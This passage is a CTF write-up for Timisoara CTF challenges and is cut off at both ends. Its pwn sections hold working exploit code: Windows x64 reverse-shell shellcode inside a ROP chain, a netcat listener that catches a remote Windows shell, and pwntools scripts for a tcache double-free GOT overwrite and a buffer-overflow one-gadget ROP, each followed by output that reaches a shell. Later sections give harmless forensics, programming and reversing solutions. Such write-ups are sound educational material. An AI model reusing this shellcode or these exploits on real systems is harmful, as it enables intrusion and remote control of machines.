shellcode += "\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33" 
shellcode += "\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00" 
shellcode += "\x00\x49\x89\xe5\x49\xbc\x02\x00\x2d\x5b\xd3\xef\x7c\xed"
shellcode += "\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07"
shellcode += "\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29"
shellcode += "\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48"
shellcode += "\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea" 
shellcode += "\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89" 
shellcode += "\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81" 
shellcode += "\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00" 
shellcode += "\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0" 
shellcode += "\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01" 
shellcode += "\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41" 
shellcode += "\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d" 
shellcode += "\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48" 
shellcode += "\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff" 
shellcode += "\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5" 
shellcode += "\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" 
shellcode += "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5"
# windows x64 reverse shell TCP

##### parameter #####
# rcx	:	bss
# rdx	:	0x6000
# r8	:	0x40
# r9	:	bss + 0x1000

pop_rbx = 0x00401D52 # pop rbx ; ret ;

pop_rcx = 0x0040c620 # pop rcx ; ret ;
pop_rdx = 0x00401095 # pop rdx ; xor eax, eax ; add rsp, 0x28 ; ret ;
pop_r8  = 0x004960b3 # pop r8 ; add rsp, 0x28 ; pop rbx ; pop rsi ; ret;
pop_r9  = 0x004a4a14 # pop r9 ; mov byte [rbx+0x000000E1], 0x00000001 ; mov byte [rbx+0x000000E0], sil ; add rsp, 0x20 ; pop rbx ; pop rsi ; pop rdi ; ret ;
log.info("pop_rcx : " + hex(pop_rcx))
log.info("pop_rdx : " + hex(pop_rdx))
log.info("pop_r8  : " + hex(pop_r8))
log.info("pop_r9  : " + hex(pop_r9))

payload = "" 
payload += "A" * (256 + 8)

payload += p64(pop_rbx)
payload += p64(bss)

payload += p64(pop_r9)
payload += p64(bss + 0x1000) + p64(0) * 3
payload += "A" * 0x20

payload += p64(pop_r8)
payload += p64(0x40)
payload += p64(0) * 2
payload += "A" * 0x28

payload += p64(pop_rcx)
payload += p64(bss)

payload += p64(pop_rdx)
payload += p64(0x6000)
payload += "A" * 0x28

payload += p64(protect)
payload += p64(bss + len(payload) + 0x10) 
payload += "\x90" * 0x100
payload += shellcode

log.info("payload : " + str(len(payload)))

r.recvuntil("payload: ")
pause()
r.sendline(payload)

r.interactive()

The environment setting method is as follows.

0. Leave the port open on my server.
1. start exploit!

set port

root@8055cfbd987a:~# nc -lvp 1234
listening on [any] 1234 ...

start exploit

juntae@ubuntu:~/ctf/timisoara/rop-me-baby$ python ex.py

Client

juntae@ubuntu:~/ctf/timisoara/rop-me-baby$ p ex.py 
[+] Opening connection to 89.38.208.147 on port 2025: Done
[*] ntdll : 0x7ffd02630000
[*] kernel32 : 0x7ffd01a00000
[*] bss : 0x4de040
[*] pop_rcx : 0x40c620
[*] pop_rdx : 0x401095
[*] pop_r8  : 0x4960b3
[*] pop_r9  : 0x4a4a14
[*] payload : 1228
[*] Paused (press any to continue)
[*] Switching to interactive mode
$ 
[*] Interrupted

server

root@8055cfbd987a:~# nc -lvp 1234
listening on [any] 1234 ...
89.38.208.147: inverse host lookup failed: Unknown host
connect to [172.17.0.6] from (UNKNOWN) [89.38.208.147] 58731
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Users\RopME\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 32BC-80DB

 Directory of C:\Users\RopME\Desktop

09/13/2019  12:21 PM    <DIR>          .
09/13/2019  12:21 PM    <DIR>          ..
09/13/2019  12:22 PM                29 chall.bat
09/13/2019  11:31 AM                28 flag.txt.txt
09/13/2019  12:53 PM           902,144 rop_me_baby.exe
09/13/2019  12:03 PM    <DIR>          socat_not_working
               3 File(s)        902,201 bytes
               3 Dir(s)  47,296,638,976 bytes free

C:\Users\RopME\Desktop>type flag.txt.txt
type flag.txt.txt
TIMCTF{Yeah_Y34h_ropME_b4by}

FLAG : TIMCTF{Yeah_Y34h_ropME_b4by}


Team Manager (300pts)

I found the team manager service used for Timisoara CTF. Do you think it is secure?

nc 89.38.208.144 11114

case 2u:
  printf("Enter player id (1-4) ");
  fflush(_bss_start);
  scanf("%d", &id);
  if ( id > 0 && id <= 4 )
  {
    if ( players[id] )
      free(players[id]);
  }

Do not check the Double Free bug here.

So, I can use tchace dup.

So I assigned the address of the GOT side to the players global variable.

case 3u:
  printf("Enter player id (1-4) ");
  fflush(_bss_start);
  scanf("%d", &id);
  if ( id > 0 && id <= 4 )
  {
    if ( players[id] )
    {
      getchar();
      printf("Player's name: ");
      fflush(_bss_start);
      gets((players[id] + 6));
      printf("Player's skill at reversing and exploitation: ");
      fflush(_bss_start);
      scanf("%d", players[id]);
      printf("Player's skill at web exploit: ");
      fflush(_bss_start);
      scanf("%d", players[id] + 2);
      printf("Player's skill at crypto: ");
      fflush(_bss_start);
      scanf("%d", players[id] + 1);
      printf("Player's skill at forensics: ");
      fflush(_bss_start);
      scanf("%d", players[id] + 3);
      printf("Extra note/comment: ");
      fflush(_bss_start);
      getchar();
      gets(*(players[id] + 2));
      puts("\n");
    }

In this part, a heap overflow occurs.

So you can fill the got section with whatever you want.

Exploit

As you debug, you will see that you pass the address 0x602090 as the argument to the free function.

Therefore, we cover the address of system function in GOT of free function.

Then enter the string “/bin/sh” at 0x602090.

Then run the free function to capture the shell.

from pwn import *

#context.log_level = "debug"

e = ELF("./timctf_manager")
libc = ELF("./libc-2.27.so")
r = remote("89.38.208.144",11114)
#r = process("./timctf_manager")

def add(index,name,rev,web,crypto,forensic,comment):
	r.sendline("1")
	r.sendlineafter("(1-4) ",str(index))
	r.sendlineafter(": ",name)
	r.sendlineafter(": ",str(rev))
	r.sendlineafter(": ",str(web))
	r.sendlineafter(": ",str(crypto))
	r.sendlineafter(": ",str(forensic))
	r.sendlineafter(": ",comment)

def remove(index):
	r.sendline("2")
	r.sendlineafter("(1-4) ",str(index))

def edit(index,name,rev,web,crypto,forensic,comment):
	r.sendline("3")
	r.sendlineafter("(1-4) ",str(index))
	r.sendlineafter(": ",name)
	r.sendlineafter(": ",str(rev))
	r.sendlineafter(": ",str(web))
	r.sendlineafter(": ",str(crypto))
	r.sendlineafter(": ",str(forensic))
	r.sendlineafter(": ",comment)

def player(index):
	r.sendline("4")
	r.sendlineafter("(1-4) ",str(index))

players = 0x6020a0
got = e.got["free"]
log.info("got : " + hex(got))

# input : index,name,rev,web,crypto,forensic,comment

add(1,"\x00","+","+","+","+","AAAA")

remove(1)
remove(1)

add(2,"\x00",(players+0x8)-0x18,"+","+","+","BBBB")

add(3,"AAAA","+","+","+","+","CCCC")
add(4,p32(got-0x20),"+","+","+","+","DDDD")

player(1)

for i in range(0,1):
	r.recvuntil("\x7f")

leak = u64(r.recvuntil("\x7f")[-6:] + "\x00\x00")
libc_base = leak - libc.symbols["free"] #0x408750
system = libc_base + libc.symbols["system"]
log.info("leak : " + hex(leak)) #600
log.info("libc_base : " + hex(libc_base))

payload = ""
payload += p64(0)
payload += p64(libc_base + libc.symbols["system"]) #free@got
payload += p64(libc_base + libc.symbols["putchar"])
payload += p64(libc_base + libc.symbols["puts"])
payload += p64(0)
payload += p64(libc_base + libc.symbols["printf"])
payload += p64(libc_base + libc.symbols["getchar"])
payload += p64(libc_base + libc.symbols["gets"])
payload += p64(libc_base + libc.symbols["malloc"])
payload += p64(libc_base + libc.symbols["fflush"])
payload += p64(libc_base + libc.symbols["scanf"])
payload += p64(libc_base + libc.symbols["fwrite"])
payload += p64(0) * 2
payload += p64(libc_base + 0x3ec760)
payload += p64(0)
payload += "/bin/sh\x00" #0x602090

pause()
edit(1,payload,"+","+","+","+","B")

#remove(4)

r.interactive()
juntae@ubuntu:~/ctf/timisoara/manager$ p ex.py 
[*] '/home/juntae/ctf/timisoara/manager/timctf_manager'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/juntae/ctf/timisoara/manager/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 89.38.208.144 on port 11114: Done
[*] got : 0x602018
[*] leak : 0x7fca44592950
[*] libc_base : 0x7fca444fb000
[*] Paused (press any to continue)
[*] Switching to interactive mode


1: Add player
2: Remove player
3: Edit player
4: View player
5: View team
0: Exit
$ 2
Enter player id (1-4) $ 4
$ ls
flag.txt
start.sh
timctf_manager
$ cat flag.txt
TIMCTF{Heap_overfl0ws_are_really_B4D}$ 
[*] Interrupted
[*] Closed connection to 89.38.208.144 port 11114

FLAG : TIMCTF{Heap_overfl0ws_are_really_B4D}


Flag manager service (400pts)

Our spies found this flag manager service running on the ctf server. It needs a password tho, but I am sure you can handle it.

nc 89.38.208.144 11115 - back online

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  char buf; // [rsp+0h] [rbp-90h]
  char format; // [rsp+40h] [rbp-50h]
  int fd; // [rsp+8Ch] [rbp-4h]

  strcpy(file, "flag.txt");
  filesize = 64;
  printf("Enter your name: ", argv, envp);
  fflush(stdout);
  gets(&format);
  printf("Hello, ");
  printf(&format);
  printf("\nEnter password please: ");
  fflush(stdout);
  gets(pass);
  fd = open(file, 0);
  if ( fd == -1 )
  {
    puts("Unable to open file!\n");
    fflush(stdout);
    result = 0;
  }
  else
  {
    read(fd, &buf, filesize);
    if ( !strcmp(pass, good_pass) )
      printf("Here is your flag, %s\n", &buf);
    else
      puts("NOOOOOOOOO!\n");
    fflush(stdout);
    result = 0;
  }
  return result;
}

Buffer Overflow and Format String Bugs Occur.

So, I can catch RIP.

Then, do ROP ( bypass DEP) can get shell.

Exploit

oneshot gadget

from pwn import *

#context.log_level = "debug"

e = ELF("./flag_manager01")
libc = e.libc

r = remote("89.38.208.144",11115)
#r = process("./flag_manager01")

pr = 0x4008a3

payload = ""
payload += "A" * 0x58
payload += p64(pr)
payload += p64(e.got["puts"])
payload += p64(e.plt["puts"])

payload += p64(e.symbols["main"])

r.sendlineafter("name: ",payload)
r.sendlineafter("please: ","1234")

libc_base = u64(r.recvuntil("\x7f")[-6:] + "\x00\x00") - libc.symbols["puts"]
oneshot = libc_base + 0x10a38c
log.info("libc_base : " + hex(libc_base))

payload = ""
payload += "A" * 0x58
payload += p64(oneshot)

r.sendlineafter("name: ",payload)
r.sendlineafter("please: ","1234")

r.interactive()
juntae@ubuntu:~/ctf/timisoara/flag$ c
juntae@ubuntu:~/ctf/timisoara/flag$ p ex.py 
[*] '/home/juntae/ctf/timisoara/flag/flag_manager01'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 89.38.208.144 on port 11115: Done
[*] libc_base : 0x7ff5c611e000
[*] Switching to interactive mode
NOOOOOOOOO!

$ ls
fddup.so
flag_manager_nohook
flag.txt
start.sh
$ cat flag.txt
TIMCTF{d3v_fd_i5_sn3aky_backd00r}$ 
[*] Interrupted
[*] Closed connection to 89.38.208.144 port 11115

FLAG : TIMCTF{d3v_fd_i5_sn3aky_backd00r}


Forensics

Deleted file (100pts)

Help! I accidentally deleted a photo! Can you recover it for me please?

http://timisoaractf.ro/10MB.img

Non-standard flag format

just extract file or another solution is mount this image and show directory. PNG was hiding.

FLAG : flag{I_s33_the_uns33n}


Strange image (100pts)

I received this “image” in my mailbox today, but I can not open it, as if it was corrupted or something. Can you fix it and tell me if it has any hidden meaning?

Note: if you think you “fixed” it and it does not open, try using a few different photo viewers.

Hint! When you ‘fix’ your image make sure you try multiple photo viewers as some might not want to display it

f = open('john.png','rb')
data = f.read()
f.close()
go = ""
for i in range(len(data)):
	go += chr(ord(data[i])^122)
f = open('copy.png','wb')
f.write(go)
f.close()

file hex values are encrypted

i use strings to get looks like flag - HATZ-fL4G: WLPFWI~Eudy3bm3kqxoh$

use caesar cipher to solve it

enc = 'WLPFWI~Eudy3bm3kqxoh$'
print ''.join(chr(ord(enc[i]) - 3) for i in range(len(enc)))

FLAG : TIMCTF{Brav0_j0hnule!}

Tri-color QR (200pts)

I stumbled upon this strange QR code which seems to be in a new format. Can you help me decode it?

"""
(pink yellow red - black or white, blue hyung green - white or black)
(pink blue red - black or white, yellow hyung green - white or black)
(pink blue hyung - black or white, yellow red green - black or white)
"""

"""
no color - TIMCTF{
green - Th1s_is_A
blue - _4_part_
extract - flag}
"""
# 0 0 0 - black
# 255 255 255 - white
# 0 0 255 - blue
# 255 0 255 - pink
# 255 255 0 - yellow
# 0 255 255 - hyung
# 255 0 0 - red
# 0 255 0 - green 
k = (0,0,0) # blakc
w = (255,255,255) # white
pink = (255,0,255)
blue = (0,0,255)
yellow = (255,255,0)
hyung = (0,255,255)
red = (255,0,0)
green = (0,255,0)
img = Image.open('tri-color.png')
img = img.convert('RGB')
img_pix = img.load()
r,g,b = img_pix[0,0]
#r,g,b = img.getpixel((i,j))
for i in range(img.width):
	for j in range(img.height):
		if img_pix[i,j] == pink:
			img_pix[i,j] = w
		elif img_pix[i,j] == blue:
			img_pix[i,j] = w
		elif img_pix[i,j] == yellow:
			img_pix[i,j] = k
		elif img_pix[i,j] == hyung:
			img_pix[i,j] = w
		elif img_pix[i,j] == red:
			img_pix[i,j] = k
		elif img_pix[i,j] == green:
			img_pix[i,j] = k
img.save('solve.png')

The flags come out divided. extract this qr image file too.

FLAG : TIMCTF{Th1s_is_A_4_part_flag}


Entangled (300pts)

Something isn’t clear right here…

http://timisoaractf.ro/Entangled.img

The .img file is given. if you file

open free_fortnite_H4CKZ_run_me with IDA and look at the graph view, there is a QR code. You can recognize it. and get password Cool_pass02

Now dncrypted flag.enc with openssl

openssl aes-128-cbc -in flag.enc -out flag -d -k Cool_pass02

we can get flag file. this file type is PNG.

FLAG : TIMCTF{C0de_oR_DAT4_tHe_uLtImAtE_qUesti0n}


Misc

Read the rules (1pts)First to solve this challenge!

Have you read them?

flag in the Short description.

FLAG : TIMCTF{sometext}


Programming

Subset sum (200pts)

You are given a number n and an array. Find those elements from the array that sum to the given number.

Number of tests: 10 Size of the array: 4 - 40 (+4 per level) Input data type: 64 bit unsigned ints Input formatting: 2 lines of text, a line containing n and a line containg the array. Output formatting: the size of the subset and the elements of the subset, separated by a space Time limit: 3s

nc 89.38.208.143 22021

  • I thought of using a Meet in the Middle.
  • But I used Trick.
from pwn import *

p = remote("89.38.208.143",22021)
for i in range(1,11):
	print p.recvuntil("/10\n"),
	n = int(p.recvline()[:-1])
	temp_arr = p.recvline()[:-1]
	exec("arr = ["+ temp_arr.replace(' ',',') +"]")
	length = len(arr)
	N= length
	S = n
	nums = arr
	answer = "1 "+str(n)
	print n
	print arr
	print answer,"\n\n"
	p.sendline(answer)
p.interactive()
circler@Circler:/mnt/c/Users/Circler/Documents/ctf/timisoara$ python last.py
[+] Opening connection to 89.38.208.143 on port 22021: Done
I will give you an array. Find me the elements that sum to the given number
Test #1/10
886292542176
[270855512863, 138184617995, 345953397248, 402154526933]
1 886292542176


OK!
Test #2/10
731715580623
[43163442928, 469954144345, 5435257261, 9766270480, 200043173538, 255981247529, 420300402547, 222761446148]
1 731715580623


OK!
Test #3/10
1597618745872
[543263880939, 116485754333, 548124400896, 376592401134, 206476763989, 402294544529, 116272110186, 45644102154, 458401125094, 421506943181, 167181589742, 406220537122]
1 1597618745872

.
.
.
.
.
.
.
.
.


OK!
Test #9/10
5254545483621
[62104530613, 437252304722, 541275299117, 497852959064, 407315398134, 83838706323, 282774611877, 393225375205, 201824291289, 398707071239, 101569864581, 450422715752, 147564550876, 104680243266, 232065113352, 244637968397, 224244269686, 260846266591, 223312260455, 137614733585, 191959188846, 433233526485, 85375601324, 8337955352, 153487987350, 499975959804, 510533362081, 384059199435, 415942691154, 179504015328, 22738282436, 299104817667, 184896416718, 480768435343, 111130351529, 415558208715]
1 5254545483621


OK!
Test #10/10
4973169628790
[43904986332, 139193993172, 98420770138, 384179899376, 437042565118, 290188720014, 398995810338, 446808123987, 416859717806, 107432594929, 307718414222, 249727113524, 340012438295, 118330651094, 513137938676, 383988188892, 211696119478, 276733672617, 451611819850, 190900507459, 387483424834, 487260229850, 297558816385, 67518231930, 339531703993, 327004473875, 309580380704, 410160297239, 9028428723, 542168055503, 157872352428, 123340279300, 380677124259, 150818592688, 363500356850, 98634320981, 124979100229, 91052683464, 135981929186, 335324640254]
1 4973169628790


[*] Switching to interactive mode
OK!
Congrats: TIMCTF{W3_like_t0_m33t_in_tHe_m1ddle}
[*] Got EOF while reading in interactive
$
[*] Closed connection to 89.38.208.143 port 22021
[*] Got EOF while sending in interactive

FLAG : FLAG : TIMCTF{W3_like_t0_m33t_in_tHe_m1ddle}


Linear recurrence (200pts)

You are given two numbers: N and k and a linear recurrence. The first N terms are given, along with their coefficients in this order: cn * an, cn - 1 * an - 1, …, c1 * a1

For example, consider the Fibonacci sequence: a3 = 1*a2 + 1 * a1, where a2 and a1 are both equal to 1. In this case the input will be 1 1 1 1

For the string a4 = 3 * a3 + 5 * a2 + 7 * a1 with a3 = 2, a2 = 1 and a1 = 4 the input will look like 3 2 5 1 7 4

Note that all strings start from index 1 N < k < 100.000.000 Number of tests: 10 Size of the input: 2 - 4 (4 - 8 including coefficients) Input data type: 64 bit unsigned ints Input formatting: 2 lines of text, a line containing N,k and a line containg the sequence. Output formatting: the kth term modulo 666013 Time limit: 1s

nc 89.38.208.143 22022

  • Just Coding
  • I use C and Python
  • Using C to solve
  • Using Python to connect the NC server
from pwn import *
coefficient = []
arr = []
temp_length = 0
p = remote("89.38.208.143", 22022)
second_p = process("array")
for _ in range(10):
	print p.recvline(),
	print p.recvline(),
	N,K = p.recvline().split(' ')
	N = int(N)
	K = int(K)
	exec("temp_arr = ["+p.recvline()[:-1].replace(' ',',')+"]")
	temp_length = len(temp_arr)/2
	coefficient = []
	arr = []
	for i in range(temp_length):
		coefficient.append(temp_arr[i*2])
		arr.append(temp_arr[i*2+1])	
	print "N=",N,": K=",K
	print temp_arr
	print "coefficient =",coefficient
	print "arr =",arr
	arr.reverse()
	second_p.sendline(str(arr)[1:-1].replace(',',''))
	second_p.sendline(str(coefficient)[1:-1].replace(',',''))
	second_p.sendline(str(K))
	A = second_p.recvline()
	print "answer=",A,"\n"
	p.sendline(A)
p.interactive()
#include <stdio.h> 

typedef unsigned long long int ulli;

ulli data[100000001];
ulli arr[122];
ulli coefficient[1222];

int main(void){
    ulli a;
    // Test #1/10:
    for(int i=0;i<2;++i){
        scanf("%lld",&data[i]);
    }
    for(int i=0;i<2;++i){
        scanf("%lld",&coefficient[i]);
    }
    scanf("%lld",&a);
    for (ulli i = 2; i < a; ++i){
    	data[i] = (coefficient[0] *data[i-1] + coefficient[1]*data[i-2])%666013;
    }
    printf("%lld\n", data[a-1]);

    // Test #2/10:
    for(int i=0;i<2;++i){
        scanf("%lld",&data[i]);
    }
    for(int i=0;i<2;++i){
        scanf("%lld",&coefficient[i]);
    }
    scanf("%lld",&a);
    for (ulli i = 2; i < a; ++i){
    	data[i] = (coefficient[0] *data[i-1] + coefficient[1]*data[i-2])%666013;
    }
    printf("%lld\n", data[a-1]);

    // Test #3/10:
    for(int i=0;i<3;++i){
        scanf("%lld",&data[i]);
    }
    for(int i=0;i<3;++i){
        scanf("%lld",&coefficient[i]);
    }
    scanf("%lld",&a);
    for (ulli i = 3; i < a; ++i){
    	data[i] = (coefficient[0] *data[i-1] + coefficient[1]*data[i-2] + coefficient[2]*data[i-3])%666013;
    }
    printf("%lld\n", data[a-1]);


    // Test #4/10:
    for(int i=0;i<3;++i){
        scanf("%lld",&data[i]);
    }
    for(int i=0;i<3;++i){
        scanf("%lld",&coefficient[i]);
    }
    scanf("%lld",&a);
    for (ulli i = 3; i < a; ++i)
    {
    	data[i] = (coefficient[0] *data[i-1] + coefficient[1]*data[i-2] + coefficient[2]*data[i-3])%666013;
    }
    printf("%lld\n", data[a-1]);


    // Test #5/10:
    for(int i=0;i<3;++i){
        scanf("%lld",&data[i]);
    }
    for(int i=0;i<3;++i){
        scanf("%lld",&coefficient[i]);
    }
    scanf("%lld",&a);
    for (ulli i = 3; i < a; ++i){
    	data[i] = (coefficient[0] *data[i-1] + coefficient[1]*data[i-2] + coefficient[2]*data[i-3])%666013;
    }
    printf("%lld\n", data[a-1]);



    // Test #6/10:
    for(int i=0;i<4;++i){
        scanf("%lld",&data[i]);
    }
    for(int i=0;i<4;++i){
        scanf("%lld",&coefficient[i]);
    }
    scanf("%lld",&a);
    for (ulli i = 4; i < a; ++i){
    	data[i] = (coefficient[0] *data[i-1] + coefficient[1]*data[i-2] + coefficient[2]*data[i-3] + coefficient[3]*data[i-4])%666013;
    }
    printf("%lld\n", data[a-1]);

    // Test #7/10:
    for(int i=0;i<4;++i){
        scanf("%lld",&data[i]);
    }
    for(int i=0;i<4;++i){
        scanf("%lld",&coefficient[i]);
    }
    scanf("%lld",&a);
    for (ulli i = 4; i < a; ++i){
    	data[i] = (coefficient[0] *data[i-1] + coefficient[1]*data[i-2] + coefficient[2]*data[i-3] + coefficient[3]*data[i-4])%666013;
    }
    printf("%lld\n", data[a-1]);

    // Test #8/10:
    for(int i=0;i<4;++i){
        scanf("%lld",&data[i]);
    }
    for(int i=0;i<4;++i){
        scanf("%lld",&coefficient[i]);
    }
    scanf("%lld",&a);
    for (ulli i = 4; i < a; ++i){
    	data[i] = (coefficient[0] *data[i-1] + coefficient[1]*data[i-2] + coefficient[2]*data[i-3] + coefficient[3]*data[i-4])%666013;
    }
    printf("%lld\n", data[a-1]);

    // Test #9/10:
    for(int i=0;i<4;++i){
        scanf("%lld",&data[i]);
    }
    for(int i=0;i<4;++i){
        scanf("%lld",&coefficient[i]);
    }
    scanf("%lld",&a);
    for (ulli i = 4; i < a; ++i){
    	data[i] = (coefficient[0] *data[i-1] + coefficient[1]*data[i-2] + coefficient[2]*data[i-3] + coefficient[3]*data[i-4])%666013;
    }
    printf("%lld\n", data[a-1]);


    // Test #10/10:
    for(int i=0;i<4;++i){
        scanf("%lld",&data[i]);
    }
    for(int i=0;i<4;++i){
        scanf("%lld",&coefficient[i]);
    }
    scanf("%lld",&a);
    for (ulli i = 4; i < a; ++i){
    	data[i] = (coefficient[0] *data[i-1] + coefficient[1]*data[i-2] + coefficient[2]*data[i-3] + coefficient[3]*data[i-4])%666013;
    }
    printf("%lld\n", data[a-1]);

    return 0;
}
circler@Circler:/mnt/c/Users/Circler/Documents/ctf/timisoara/programming2$ g++ array.cpp -o array
circler@Circler:/mnt/c/Users/Circler/Documents/ctf/timisoara/programming2$ python payload.py
[+] Opening connection to 89.38.208.143 on port 22022: Done
[!] Could not find executable 'array' in $PATH, using './array' instead
[+] Starting local process './array': pid 150
I will give you N, the size of the recurrence, k, the term you need to compute and then the first N numbers with their coefficients in this order: cn * an, cn-1 * an-1...
Test #1/10:
N= 2 : K= 63501
[7, 8, 6, 4]
coefficient = [7, 6]
arr = [8, 4]
answer= 530525


OK!
Test #2/10:
N= 2 : K= 12599
[16, 18, 19, 24]
coefficient = [16, 19]
arr = [18, 24]
answer= 171579


OK!
Test #3/10:
N= 3 : K= 462548
[20, 11, 7, 37, 36, 32]
coefficient = [20, 7, 36]
arr = [11, 37, 32]
answer= 231605

.
.
.
.
.
.
.
.
.
.
.

OK!
Test #9/10:
N= 4 : K= 10031110
[96, 87, 85, 123, 24, 109, 23, 65]
coefficient = [96, 85, 24, 23]
arr = [87, 123, 109, 65]
answer= 156974


OK!
Test #10/10:
N= 4 : K= 14138374
[6, 116, 11, 5, 50, 32, 19, 63]
coefficient = [6, 11, 50, 19]
arr = [116, 5, 32, 63]
answer= 381958


[*] Switching to interactive mode
OK!
TIMCTF{Matrix_multiplication_OP_please_n3rf}
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Process './array' stopped with exit code 0 (pid 150)
[*] Closed connection to 89.38.208.143 port 22022

FLAG : FLAG : TIMCTF{Matrix_multiplication_OP_please_n3rf}


Reverse Engineering

Baby Rev (50pts)

This program asks me for the flag, but i don’t know it!

int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v3; // rax

  printf("Enter password: ", argv, envp);
  fgets(password, 64, _bss_start);
  while ( 1 )
  {
    v3 = strlen(password);
    if ( isprint(password[v3 - 1]) )
      break;
    password[strlen(password) - 1] = 0;
  }
  if ( !strcmp(password, flag) )
    puts("Congratulations, that is correct!");
  else
    puts("NOOOOOOOOOOOOOOOO");
  return 0;
}

just check input with flag. string stored in flag is TIMCTF{Wh0_know5_a5m_kn0ws_R3V}

FLAG : TIMCTF{Wh0_know5_a5m_kn0ws_R3V}


Easy Rev (75pts) 

Like the last one, but harder

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  int i; // [rsp+Ch] [rbp-14h]

  printf("Enter password: ", argv, envp);
  scanf("%s", password);
  if ( strlen(password) <= 0x40 )
  {
    if ( strlen(password) > 7 )
    {
      for ( i = 0; i < strlen(password); ++i )
      {
        if ( password[i] > 96 && password[i] <= 122 )
          password[i] = (password[i] - 84) % 26 + 97;
      }
      if ( !strcmp(password, flag) )
        puts("Congratulations, that is correct!");
      else
        puts("NOOOOOOOOOOOOOOOO");
      result = 0;
    }
    else
    {
      puts("Error: password too short!");
      result = 0;
    }
  }
  else
  {
    puts("Error: password too long!");
    result = 0;
  }
  return result;
}

this challenge check the password. bruteforce brought us the right price.

flag = ''
table = 'TIMCTF{ebgngrq13synt}'
for i in range(len(table)):
	if ord(table[i]) > 96 and ord(table[i]) <= 122:
		for j in range(96,123):
			if ord(table[i]) == (j - 84) % 26 + 97:
				flag += chr(j)
				break
	else:
		flag += table[i]
print flag

FLAG : TIMCTF{rotated13flag}


Boz Packer (150pts)

This executable is packed using the new and imporved BOZ technology. It features strong antidebug checks

Required library: openssl - http://timisoaractf.ro/libcrypto-1_1-x64.dll

patch and find “Enter password: “ string

decrypt all values stored in md5.

FLAG : TIMCTF{BOZ_as_s33n_in_ecsc_upx_chall}


Math (150pts)

This executable is doing MATH. Everyone hates that so it must be hard to reverse

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  unsigned __int8 v4; // [rsp+2h] [rbp-2Eh]
  char v5; // [rsp+3h] [rbp-2Dh]
  int v6; // [rsp+4h] [rbp-2Ch]
  int v7; // [rsp+8h] [rbp-28h]
  int i; // [rsp+Ch] [rbp-24h]
  signed int j; // [rsp+10h] [rbp-20h]
  signed int k; // [rsp+14h] [rbp-1Ch]
  signed int l; // [rsp+18h] [rbp-18h]
  int m; // [rsp+1Ch] [rbp-14h]

  printf("Enter password: ", argv, envp);
  scanf("%s", plaintext);
  if ( strlen(plaintext) <= 0x100 )
  {
    v7 = 0;
    v5 = 0;
    for ( i = 0; i < strlen(plaintext); i += 3 )
    {
      v6 = key ^ (plaintext[i + 2] | ((plaintext[i + 1] | (plaintext[i] << 8)) << 8));
      for ( j = 0; j <= 2; ++j )
      {
        if ( !plaintext[i + j] )
          v5 = 1;
      }
      for ( k = 3; k >= 0; --k )
      {
        v4 = 0;
        for ( l = 5; l >= 0; --l )
        {
          if ( v6 & (1 << (6 * k + l)) )
            v4 |= 1 << l;
        }
        if ( v4 )
        {
          ciphertext[v7] = base64[v4];
        }
        else if ( v5 )
        {
          ciphertext[v7] = 61;
        }
        else
        {
          ciphertext[v7] = 65;
        }
        ++v7;
      }
    }
    for ( m = 0; flag[m]; ++m )
    {
      if ( flag[m] != ciphertext[m] )
      {
        puts(no);
        return 0;
      }
    }
    puts(yes);
    result = 0;
  }
  else
  {
    puts("Error: password too long!");
    result = 0;
  }
  return result;
}

do reverse math

import base64
import struct

cip = "jveimeqpofewqY3chceAr+G6tPqKiM27u/CLhcbX7MPv"
cip = base64.b64decode(cip)
key = 14335727
flag = ''
for i in range(0,len(cip),3):
	a = struct.unpack('<i',cip[i:i+3][::-1] + "\x00")[0] ^ key
	flag += hex(a)[2:].decode('hex')
print flag

i did Bruteforce attack three digits. I guess first word.

# TIMCTF{I_s33_you_UnDeRsTaNd_x86}
import gdb
table = "_1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz}"
go_table = []
for n in table:
		for m in table:
			for b in table:
				go_table.append(n+m)

payload = 'TIMCTF{I_' # 3byte
for i in range(len(go_table)):
